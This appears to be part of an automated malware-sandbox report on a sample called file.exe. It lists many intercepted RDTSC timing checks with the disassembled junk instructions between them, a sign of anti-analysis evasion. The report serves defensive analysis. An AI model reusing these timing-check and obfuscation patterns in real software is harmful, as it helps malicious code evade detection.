Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418E5B second address: 418E68 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418E68 second address: 418E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418E6D second address: 418E77 instructions: 0x00000000 rdtsc 0x00000002 js 00007F39B4DF473Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4226F0 second address: 4226F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 421D4F second address: 421D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 421D57 second address: 421D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 421EF7 second address: 421F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F39B4DF4745h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4220B4 second address: 4220B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4220B8 second address: 4220CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F39B4DF4736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d jp 00007F39B4DF475Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4220CF second address: 4220D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4220D5 second address: 4220D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4220D9 second address: 4220DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 422267 second address: 422291 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4748h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F39B4DF473Ah 0x0000000f push esi 0x00000010 pop esi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 426640 second address: 426666 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F39B4C7E9C6h 0x0000000d jp 00007F39B4C7E9BCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 426666 second address: 42669D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F39B4DF4767h 0x0000000b js 00007F39B4DF4757h 0x00000011 jmp 00007F39B4DF4741h 0x00000016 jmp 00007F39B4DF4740h 0x0000001b push eax 0x0000001c push esi 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6ABB second address: 3C6AC0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428DE3 second address: 428DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428DE8 second address: 428DEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428DEE second address: 428E1D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 je 00007F39B4DF473Eh 0x0000000f jp 00007F39B4DF4738h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push esi 0x0000001a jns 00007F39B4DF473Ch 0x00000020 jnp 00007F39B4DF4736h 0x00000026 pop esi 0x00000027 mov eax, dword ptr [eax] 0x00000029 pushad 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428E1D second address: 428E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428E27 second address: 428E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F39B4DF473Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 429083 second address: 42908C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42908C second address: 429090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 429090 second address: 429094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B9392 second address: 3B93B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F39B4DF4746h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B93B4 second address: 3B93BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B93BA second address: 3B93C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B93C0 second address: 3B93C6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42DA59 second address: 42DA91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B4DF473Fh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F39B4DF473Eh 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jbe 00007F39B4DF4736h 0x0000001f jns 00007F39B4DF4736h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42DA91 second address: 42DA95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42DA95 second address: 42DA9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B798B second address: 3B798F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 439487 second address: 439491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F39B4DF4736h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 439491 second address: 439495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43830B second address: 438323 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F39B4DF4736h 0x00000009 jno 00007F39B4DF4736h 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4056D8 second address: 4056EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B4C7E9C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4056EC second address: 4056F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4056F0 second address: 3E8033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007F39B4C7E9BBh 0x00000010 and edx, dword ptr [ebp+122D2C86h] 0x00000016 pop edi 0x00000017 call dword ptr [ebp+122D1ECCh] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 jmp 00007F39B4C7E9BDh 0x00000025 pop eax 0x00000026 push eax 0x00000027 push edx 0x00000028 ja 00007F39B4C7E9B6h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4057C9 second address: 4057CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4057CD second address: 4057D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405D95 second address: 405D9B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405D9B second address: 405DD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c nop 0x0000000d jne 00007F39B4C7E9C2h 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F39B4C7E9BAh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405DD8 second address: 405DDE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405E84 second address: 405E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406790 second address: 4067CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4741h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F39B4DF4745h 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jp 00007F39B4DF4738h 0x0000001a push edx 0x0000001b pop edx 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 438610 second address: 438614 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 438A2A second address: 438A34 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F39B4DF4736h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 438FA8 second address: 438FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F39B4C7E9B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 438FB2 second address: 438FC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F39B4DF4736h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 438FC0 second address: 438FC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 438FC6 second address: 438FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 438FCF second address: 438FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43AAB0 second address: 43AAB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43AAB4 second address: 43AAC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F39B4C7E9BAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43AAC4 second address: 43AAC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43F29A second address: 43F2B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43F703 second address: 43F707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43F8BE second address: 43F8C8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F39B4C7E9B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43F9E1 second address: 43F9E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43FD2E second address: 43FD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F39B4C7E9B8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43FD3B second address: 43FD41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43FD41 second address: 43FD45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43FFD9 second address: 43FFF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F39B4DF4749h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43FFF8 second address: 440027 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F39B4C7E9C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43ED29 second address: 43ED38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B4DF473Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 446D5C second address: 446D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 445D8C second address: 445D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44621D second address: 44622A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007F39B4C7E9B6h 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44622A second address: 446230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 446504 second address: 446515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F39B4C7E9B6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 446515 second address: 446519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 446633 second address: 44663C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4467CF second address: 4467E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a js 00007F39B4DF4736h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4467E6 second address: 4467EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44951D second address: 449535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F39B4DF4742h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4497FA second address: 449808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop esi 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 449808 second address: 449823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F39B4DF473Eh 0x0000000c jp 00007F39B4DF4736h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 449823 second address: 449827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 449952 second address: 449956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 449956 second address: 44995C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44BF22 second address: 44BF28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44BF28 second address: 44BF2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44BF2C second address: 44BF34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44BF34 second address: 44BF6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C6h 0x00000007 jmp 00007F39B4C7E9C1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44BF6B second address: 44BF6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44BF6F second address: 44BF75 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44BF75 second address: 44BF8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B4DF4743h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44F23F second address: 44F245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45243B second address: 45243F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45243F second address: 45245D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F39B4C7E9B6h 0x00000008 jmp 00007F39B4C7E9BAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 jc 00007F39B4C7E9B6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 452897 second address: 4528BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F39B4DF4747h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 455790 second address: 455794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 455794 second address: 4557C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F39B4DF473Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F39B4DF4746h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4557C2 second address: 4557F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C6h 0x00000007 jc 00007F39B4C7E9B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 jnp 00007F39B4C7E9B6h 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4557F3 second address: 4557F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4557F7 second address: 4557FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A52B second address: 45A532 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A841 second address: 45A846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A99C second address: 45A9A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A9A2 second address: 45A9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A9A6 second address: 45A9AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4062BC second address: 4062C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
